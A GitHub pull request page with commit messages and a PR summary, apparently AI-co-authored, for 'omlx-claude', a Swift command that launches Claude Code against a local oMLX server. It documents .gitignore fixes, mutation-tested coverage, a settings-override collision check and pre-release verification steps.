The issue's premise had already failed in the direction it warned about. `.vscode/launch.json` is not untracked noise — it was committed in f1f1a27, a commit about closing round-3 CRITICALs for #2, which is the signature of a `git add -A` sweep. The issue was filed to prevent exactly that, and it had already happened. That changes the fix: `.gitignore` does not affect tracked files, so adding the rule alone would have left the stated symptom untouched while producing a tracked file inside an ignored directory. launch.json is kept deliberately. It holds only `${workspaceFolder:...}` and this repo's own build targets — portable, no machine paths, no personal data — so it is a repo artifact that happens to live under `.vscode/`. The issue body already prescribes this shape ("再用 `!` 反向 un-ignore 個別檔案"). The glob is `.vscode/*`, not `.vscode/`, and the first version of this commit had it wrong. Excluding the DIRECTORY makes the `!` line inert: git does not enumerate an excluded directory, so patterns for files inside it are never evaluated. It looked correct in this repo only because launch.json is already tracked and `git check-ignore` skips tracked paths without `--no-index` — a rule that could never fire, passing because of an unrelated fact. Caught by running it in a scratch repo rather than reading it: .vscode/ → launch.json IGNORED, settings.json IGNORED, 0 files visible .vscode/* → launch.json kept, settings.json IGNORED, 1 file visible Same trap as the `.claude/.idd/` carve-out chain discussed in #13. Refs #4 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
`staleness` has three outcomes and only two were asserted. `.unreadable` is
constructed at two distinct guard clauses — nil/empty input, and a non-empty
string the parser rejects — and `grep -c unreadable` over the test file returned
zero.
The gap was invisible because a CORRECT test made it look covered.
`testUnparseableVersionIsSilent` asserts `stalenessNotice("garbage")` is nil, and
it is: that helper reports only `.newerThanVerified`. Reading the file,
"unparseable" appears handled. It was handled for the helper and untested for the
decision function. Both are kept, with a comment saying why, so the next reader
does not collapse one into the other.
Four cases, and the fourth is the one that stops a case-only assertion from being
enough: the two sites must say DIFFERENT things, or deleting one guard would stay
green.
Mutation-proven rather than assumed — both `.unreadable` returns replaced with
`.quiet`:
4 failures, exactly the four new cases; the six pre-existing ones passed
Including `testUnparseableVersionIsSilent`, which passed under the mutation. That
is the diagnosis confirming itself: the test that made the gap look covered cannot
see the defect.
Production path checked, not assumed: main.swift:73 binds
`case .newerThanVerified(let notice), .unreadable(let notice)` and prints both, so
this was a coverage gap rather than a live defect. Worth closing anyway — CLAUDE.md
already records that main.swift has no unit test and that a mutation there survived
the suite; leaving the decision function's third branch untested puts the guarantee
back into the untestable half.
Refs #9
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…ared window (#3) The docs named two upstream footguns and the 48K floor. They missed a third that oMLX marks as confirmed live in its own source: # Caveat (confirmed live): this is ignored for model IDs that # canonicalize to "claude-*" — Claude Code trusts its own # built-in context window for those regardless of this variable. Still present in oMLX 0.6.4 at integrations/claude.py, checked rather than carried over from the issue's 0.6.0rc1 quote. What makes it worth writing down is not that it is obscure but that it is SILENT. The 48K floor is self-reporting — Claude Code refuses to launch and says why. This one produces no error and no warning: CLAUDE_CODE_MAX_CONTEXT_TOKENS is dropped, CLAUDE_CODE_AUTO_COMPACT_WINDOW keeps the advertised value, and the reported window and the auto-compact denominator quietly stop agreeing. A caveat that announces itself can live in the code; one that does not has to live in the docs. The avoidance is entirely operator-side and costs nothing, so all three surfaces now say it plainly: do not name a local model `claude-…`. Refs #3 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…ocal (#5) Measured rather than asserted: git log --oneline --grep='#1' → 12 git log --oneline --grep='#1\([^0-9]\|$\)' → 0 All twelve are false positives. The issue attributed this to oMLX's four-digit ids; those account for two hits on `#2`. Every one of `#1`'s twelve comes from THIS repo's own #10 #11 #12 #13 #16 #17 #18. The repo started colliding with itself the moment it reached two digits, and upstream is the smaller half. That distinction is the point of the wording. An upstream-only framing invites "this commit doesn't cite oMLX, so a bare grep is fine" — and none of the twelve commits cite oMLX. It has live consumers, named so the warning is not read as trivia: idd-close Step 1 asks "are there commits referencing this issue" with the bare pattern, and Step 1.6's semantic gate re-uses it to check that a `- [x]` bullet has backing commits. For #1 it returns twelve unrelated commits and would call the evidence sound. idd-list's PR-ref scan is the same defect elsewhere — hit live this session, computing PR #7's cluster as `#2 #6 #2715 #2716`. The doc says plainly that writing this down does not fix those tools, which live in the IDD plugin. It only gives whoever reads their output a chance of recognising the number is wrong. Refs #5 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
#17 gave the headed rule a runner and explicitly did not give it a trigger. This adds one, in the place that already accepts a live oMLX server as a precondition: the by-hand pre-release checks CLAUDE.md was already asking for. The section now names three, ordered: `make ping`, `make test-headed`, then a real tool call. Chosen over wiring it into `make release-signed`, which was the stronger option and the wrong trade: signing and notarization would then fail whenever no oMLX server happened to be running, which has nothing to do with whether the artifact is signable. The line says what it is — a human checklist, invoked by a person following it. Calling that a trigger is generous, and the doc does not pretend otherwise. It is the honest ceiling for a target that is opt-in by construction, and #18's diagnosis listed "accept it as a human checklist item and say so" as a legitimate outcome rather than a failure to automate. Refs #18 Refs #17 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…hine (#10) The issue said the outcome "is determined by a parser we refuse to predict" and asked for it to be settled by reading Claude Code's actual behaviour. Measured instead, against 2.1.252, using a nonexistent path as a marker for "this argument was consumed": --settings /nope.json → error --settings '{}' --settings /nope.json → error (the later one is read) --settings /nope.json --settings '{}' → no error (the earlier is discarded) LAST WINS, and the earlier is not merged — it is ignored. Since main.swift puts ours first and appends the operator's argv after, theirs replaced the ENTIRE payload: base URL, credential, timeout, disableAutoMode, all of it. Nothing noticed. So the loopback gate had been verifying an address the session would not use — the consequence the issue predicted, now observed rather than argued. Refuses on a non-loopback ANTHROPIC_BASE_URL and names the collision otherwise. That split follows this repo's own precedent rather than a preference: managedBaseURLVerdict refuses where the danger is visible, unwinnableConflicts reports where it is not. Here the value IS visible — --settings carries JSON or a path, both readable before exec — so the loopback half is refusable. An unreadable or unparseable value reports and proceeds: a danger we could not read is not a danger we may claim. The key list in the notice is derived from `overrides` rather than hand-written, so a key added there cannot go unnamed. A test asserts that coupling, including `disableAutoMode` — the non-env key a hand-written list would forget, which is the #11 failure one level down. 12 tests, mutation-proven: forcing the verdict to .absent fails 8 of 12, and the four that still pass are exactly those that legitimately assert .absent. Two things the tests could not catch, both found by running the binary: - the notice was assembled from two openings and one shared tail, and the unreadable form spliced into "…could not be read (no such file), but it and Claude Code reads only the last one". It compiled and every test passed. Restructured into two self-contained sentences so the seam cannot break that way again, with a test on the seam. - the harmless-settings path demonstrated the defect live: the warning printed, and the next line was `401 Invalid bearer token`, because their settings had replaced ours including the credential. Refs #10 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
The Strategy for #10 listed Help.swift and the first commit did not do it. Closing that rather than leaving it recorded as skipped: the behaviour was discoverable only by triggering it, and the flags section is where someone looks before they do. Says the three things that matter and are not guessable: Claude Code reads only the last --settings, yours is forwarded after ours so it replaces the whole override rather than merging, and a non-loopback ANTHROPIC_BASE_URL in it is refused outright. Refs #10 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
1 participant
Refs #2
Summary
Usage 1 had no command — only
bin/claude-local, a file the README asked people tocopy into
~/binby hand, and which the plugin never shipped. This makes itomlx-claude: a second executable in the module, sharing one version and onerelease with the MCP server, installed onto
PATHby a session-start hook.Per the decision on #2, this is a positioning change as much as a feature.
CLAUDE.mdpreviously said usage 2 was "the actual product", usage 1 "belongs to oMLX", and
bin/claude-local"should be deleted once #2715 and #2716 are fixed — do not growfeatures into it". That is rewritten.
Design decisions worth reviewing
It execs
omlx launch claudeand should keep doing so. oMLX's integration setsa dozen environment variables carrying knowledge that keeps moving — tier mapping,
the auto-compact denominator, the LSP prefix-cache footgun, the telemetry trade-off.
Reimplementing that here forks it and then lets it rot.
The settings override splits in two, on purpose. Keys we can determine
independently are re-asserted through
--settings(a CLI argument, so it outranksthe user's
settings.json— the mechanism against jundot/omlx#2715). Keys whosevalues depend on which model oMLX ends up serving are reported, not guessed. The
plan said to cover all of them; that turned out to require reimplementing oMLX's
model selection, which is the fork above by another route.
The exit condition runs backwards from the obvious design. "Has upstream fixed
it yet?" needs a fixed-in version constant that does not exist while the bugs are
open, and filling it in later is the act of remembering we were trying to remove.
So
UpstreamWorkaround.lastVerifiedOmlxVersionrecords what we did read against,and the command speaks up when the installed oMLX is newer.
Sources/OmlxConnectorCore/is deliberately small. Swift cannot import anexecutable target, so a shared library was a precondition for a second command. An
earlier draft moved
OmlxClientandResponseFormattingin too, which would havemeant making twelve types public to serve one caller. Scope reduced; see the
implementation comment on #2 for the full reasoning.
Verification
make test— 43 tests, 0 failures (18 pre-existing, 25 new)SKIP_NOTARIZE=1— 6 assetsat 0.3.0, both binaries hardened-runtime signed, version mirrors gate passes
omlx-claude --model Qwen3.8-27B-4bit -p "Reply with exactly: ok"→ the localmodel answers. This is the only way to confirm the exec path and flag forwarding.
stderr · session-start hook is a no-op at matching version (0.29s, no network)
Known gap filed separately
#6 —
CLAUDE_CODE_DISABLE_1M_CONTEXTturns out to be a no-op for oMLX-servedmodels; Claude Code reports this itself during a real launch. The #2716 workaround
therefore does not bound the session. Not fixed here: the remedy needs the served
model's context window, which is unavailable when oMLX selects interactively.
Checklist
/idd-verify --pr <N>)/idd-closeto finalize this issueGenerated by /idd-implement on PR path. Do NOT add a GitHub close trailer — IDD discipline requires manual /idd-close after merge to enforce the checklist gate and closing summary.